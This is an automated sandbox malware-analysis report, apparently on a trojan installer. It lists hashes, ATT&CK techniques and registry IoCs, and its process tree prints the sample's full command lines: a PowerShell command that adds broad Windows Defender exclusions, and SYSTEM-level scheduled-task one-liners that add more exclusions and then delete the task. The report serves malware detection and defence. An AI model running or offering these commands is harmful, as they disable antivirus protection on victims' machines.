e1143c227606b52e1eb3a802a710c9c47d24d73de4dd45ee44ec3be341722fe4

Analysis

max time kernel
154s
max time network
158s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 11:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_v3.0.14.exe
Size 31.6MB
Sample260822-np8chsyscv
SHA256 e1143c227606b52e1eb3a802a710c9c47d24d73de4dd45ee44ec3be341722fe4
MD5 edaa1fd708e824d13687d5d6a59df0e3
SHA1 11ddc5be76a57408fdbe569f46c0921b02ca99d9
SHA512 f8b9ecbb5deabf9dd5ef44cdc140969742f7233374a9c07aa5b4fbd60b7209c18aad4c999e721e5b44e42b6fdaf8d26468405473a2ce31efb7ca45804a46e534
SSDEEP 98304:avHhs8mSgPrs3ihngA0hFI6qqAF3EJnVXhkg/9EDo6I7c:Emb43Ogvh3ACrRk+uD+7c
TLSH
T1A177F6A2F601D9EEED5444FC848DC6A36322ECA48551471F33887B29BFBBD4C4D98DA4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	QqZpRT.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	NFGJSk2B.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\vIqwgZ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1164	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	QqZpRT.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Executes dropped EXE 10 IoCs

pid	Process
4928	Qbkqc7.exe
1424	Qbkqc7.exe
4420	QqZpRT.exe
5112	QqZpRT.exe
4876	QqZpRT.exe
3000	xI0bsG.exe
1488	xI0bsG.exe
1268	QqZpRT.exe
3008	xMEnIMbo.exe
2708	NFGJSk2B.exe

Loads dropped DLL 8 IoCs

pid	Process
4928	Qbkqc7.exe
1424	Qbkqc7.exe
4420	QqZpRT.exe
5112	QqZpRT.exe
4876	QqZpRT.exe
3000	xI0bsG.exe
1488	xI0bsG.exe
1268	QqZpRT.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1744	icacls.exe
3312	icacls.exe
2768	icacls.exe
5604	icacls.exe
1944	icacls.exe
1132	icacls.exe
5584	icacls.exe
2076	icacls.exe
2756	icacls.exe
1180	icacls.exe
6032	icacls.exe
5268	icacls.exe
2036	icacls.exe
3568	icacls.exe
4560	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\vIqwgZ\\Qbkqc7.exe\""	Qbkqc7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\QqZpRT\\QqZpRT.exe\""	QqZpRT.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5632	cmd.exe
2568	cmd.exe
2796	cmd.exe
3636	cmd.exe
5788	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Qbkqc7.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c5ab-824.dat	upx
behavioral2/memory/2708-825-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/memory/1700-831-0x00007FF626A80000-0x00007FF626EAF000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\QqZpRT\XPSPLOG.dll	Qbkqc7.exe
File opened for modification	C:\Program Files (x86)\QqZpRT\XPSPLOG.dll	Qbkqc7.exe
File opened for modification	C:\Program Files (x86)\3f3NLD5b\thumbs.db	QqZpRT.exe
File opened for modification	C:\Program Files (x86)\3f3NLD5b\xI0bsG.exe	QqZpRT.exe
File created	C:\Program Files (x86)\QqZpRT\QqZpRT.exe	Qbkqc7.exe
File created	C:\Program Files (x86)\QqZpRT\image.png	Qbkqc7.exe
File opened for modification	C:\Program Files (x86)\QqZpRT\QqZpRT.exe	Qbkqc7.exe
File opened for modification	C:\Program Files (x86)\3f3NLD5b\image.png	QqZpRT.exe
File created	C:\Program Files (x86)\3f3NLD5b\xI0bsG.exe	QqZpRT.exe
File opened for modification	C:\Program Files (x86)\QqZpRT\image.png	Qbkqc7.exe
File opened for modification	C:\Program Files (x86)\QqZpRT\thumbs.db	Qbkqc7.exe
File opened for modification	C:\Program Files (x86)\3f3NLD5b	QqZpRT.exe
File opened for modification	C:\Program Files (x86)\QqZpRT	Qbkqc7.exe
File created	C:\Program Files (x86)\QqZpRT\thumbs.db	Qbkqc7.exe
File created	C:\Program Files (x86)\3f3NLD5b\image.png	QqZpRT.exe
File created	C:\Program Files (x86)\3f3NLD5b\thumbs.db	QqZpRT.exe
File created	C:\Program Files (x86)\3f3NLD5b\XPSPLOG.dll	QqZpRT.exe
File opened for modification	C:\Program Files (x86)\3f3NLD5b\XPSPLOG.dll	QqZpRT.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\ScreenSaveActive = "0"	QqZpRT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	QqZpRT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\SCRNSAVE.EXE	QqZpRT.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2404	cmd.exe
1792	cmd.exe
2136	cmd.exe
1484	cmd.exe
3736	cmd.exe
2432	cmd.exe
2272	cmd.exe
1564	cmd.exe
4404	cmd.exe
2008	cmd.exe
5188	cmd.exe
4748	cmd.exe
5480	cmd.exe
5616	cmd.exe
3600	cmd.exe
3384	cmd.exe
2736	cmd.exe
2216	cmd.exe
996	cmd.exe
2940	cmd.exe
4700	cmd.exe
2072	cmd.exe
2824	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QqZpRT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QqZpRT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QqZpRT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xI0bsG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QqZpRT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NFGJSk2B.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xI0bsG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xMEnIMbo.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	QqZpRT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	QqZpRT.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	QqZpRT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	QqZpRT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\SCRNSAVE.EXE	QqZpRT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\ScreenSaveActive = "0"	QqZpRT.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	NFGJSk2B.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	NFGJSk2B.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	NFGJSk2B.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	NFGJSk2B.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2128	schtasks.exe
3504	schtasks.exe
6032	schtasks.exe
1484	schtasks.exe
5892	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
3320	install_v3.0.14.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe
4928	Qbkqc7.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeIncreaseQuotaPrivilege	1164	powershell.exe
Token: SeSecurityPrivilege	1164	powershell.exe
Token: SeTakeOwnershipPrivilege	1164	powershell.exe
Token: SeLoadDriverPrivilege	1164	powershell.exe
Token: SeSystemProfilePrivilege	1164	powershell.exe
Token: SeSystemtimePrivilege	1164	powershell.exe
Token: SeProfSingleProcessPrivilege	1164	powershell.exe
Token: SeIncBasePriorityPrivilege	1164	powershell.exe
Token: SeCreatePagefilePrivilege	1164	powershell.exe
Token: SeBackupPrivilege	1164	powershell.exe
Token: SeRestorePrivilege	1164	powershell.exe
Token: SeShutdownPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeSystemEnvironmentPrivilege	1164	powershell.exe
Token: SeRemoteShutdownPrivilege	1164	powershell.exe
Token: SeUndockPrivilege	1164	powershell.exe
Token: SeManageVolumePrivilege	1164	powershell.exe
Token: 33	1164	powershell.exe
Token: 34	1164	powershell.exe
Token: 35	1164	powershell.exe
Token: 36	1164	powershell.exe
Token: SeDebugPrivilege	3008	xMEnIMbo.exe
Token: SeLockMemoryPrivilege	1700	Pzy39Bs0.exe
Token: SeLockMemoryPrivilege	1700	Pzy39Bs0.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 1164	4928	Qbkqc7.exe	92
PID 4928 wrote to memory of 5632	4928	Qbkqc7.exe	94
PID 5632 wrote to memory of 3504	5632	cmd.exe	97
PID 5632 wrote to memory of 1744	5632	cmd.exe	98
PID 4928 wrote to memory of 2568	4928	Qbkqc7.exe	100
PID 4928 wrote to memory of 2796	4928	Qbkqc7.exe	103
PID 5632 wrote to memory of 1364	5632	cmd.exe	105
PID 2568 wrote to memory of 6032	2568	cmd.exe	107
PID 2796 wrote to memory of 1484	2796	cmd.exe	108
PID 2568 wrote to memory of 3020	2568	cmd.exe	109
PID 2796 wrote to memory of 2808	2796	cmd.exe	110
PID 4928 wrote to memory of 3636	4928	Qbkqc7.exe	112
PID 2796 wrote to memory of 3852	2796	cmd.exe	114
PID 2568 wrote to memory of 5268	2568	cmd.exe	115
PID 3636 wrote to memory of 5892	3636	cmd.exe	116
PID 3636 wrote to memory of 4232	3636	cmd.exe	117
PID 4928 wrote to memory of 5788	4928	Qbkqc7.exe	122
PID 3636 wrote to memory of 4444	3636	cmd.exe	124
PID 5788 wrote to memory of 2128	5788	cmd.exe	125
PID 5788 wrote to memory of 5940	5788	cmd.exe	126
PID 5788 wrote to memory of 1776	5788	cmd.exe	128
PID 2432 wrote to memory of 716	2432	cmd.exe	131
PID 3736 wrote to memory of 1252	3736	cmd.exe	133
PID 2940 wrote to memory of 4792	2940	cmd.exe	132
PID 2272 wrote to memory of 1952	2272	cmd.exe	134
PID 4928 wrote to memory of 4420	4928	Qbkqc7.exe	135
PID 4420 wrote to memory of 4748	4420	QqZpRT.exe	137
PID 4420 wrote to memory of 4700	4420	QqZpRT.exe	139
PID 4420 wrote to memory of 1564	4420	QqZpRT.exe	141
PID 4420 wrote to memory of 4404	4420	QqZpRT.exe	145
PID 4420 wrote to memory of 5480	4420	QqZpRT.exe	147
PID 4700 wrote to memory of 1744	4700	cmd.exe	150
PID 4420 wrote to memory of 5616	4420	QqZpRT.exe	151
PID 5616 wrote to memory of 6032	5616	cmd.exe	153
PID 4420 wrote to memory of 1484	4420	QqZpRT.exe	154
PID 1484 wrote to memory of 1132	1484	cmd.exe	156
PID 4420 wrote to memory of 3600	4420	QqZpRT.exe	157
PID 3600 wrote to memory of 3312	3600	cmd.exe	159
PID 4420 wrote to memory of 996	4420	QqZpRT.exe	160
PID 996 wrote to memory of 4560	996	cmd.exe	162
PID 4420 wrote to memory of 2824	4420	QqZpRT.exe	163
PID 2824 wrote to memory of 5268	2824	cmd.exe	165
PID 4420 wrote to memory of 2072	4420	QqZpRT.exe	166
PID 2072 wrote to memory of 3568	2072	cmd.exe	168
PID 4420 wrote to memory of 2216	4420	QqZpRT.exe	169
PID 2216 wrote to memory of 2036	2216	cmd.exe	171
PID 4420 wrote to memory of 2136	4420	QqZpRT.exe	172
PID 2136 wrote to memory of 2768	2136	cmd.exe	174
PID 4420 wrote to memory of 5188	4420	QqZpRT.exe	175
PID 5188 wrote to memory of 1180	5188	cmd.exe	177
PID 4420 wrote to memory of 1792	4420	QqZpRT.exe	178
PID 1792 wrote to memory of 5584	1792	cmd.exe	180
PID 4420 wrote to memory of 2736	4420	QqZpRT.exe	181
PID 2736 wrote to memory of 2076	2736	cmd.exe	183
PID 4420 wrote to memory of 3384	4420	QqZpRT.exe	184
PID 3384 wrote to memory of 2756	3384	cmd.exe	186
PID 4420 wrote to memory of 2008	4420	QqZpRT.exe	187
PID 2008 wrote to memory of 5604	2008	cmd.exe	189
PID 4420 wrote to memory of 2404	4420	QqZpRT.exe	190
PID 2404 wrote to memory of 1944	2404	cmd.exe	192

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	QqZpRT.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	QqZpRT.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	NFGJSk2B.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	NFGJSk2B.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_v3.0.14.exe
"C:\Users\Admin\AppData\Local\Temp\install_v3.0.14.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3320

C:\Users\Public\vIqwgZ\Qbkqc7.exe
"C:\Users\Public\vIqwgZ\Qbkqc7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vIqwgZ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\vIqwgZ\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5892
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4232
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2128
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5940
- - C:\Windows\system32\schtasks.exe
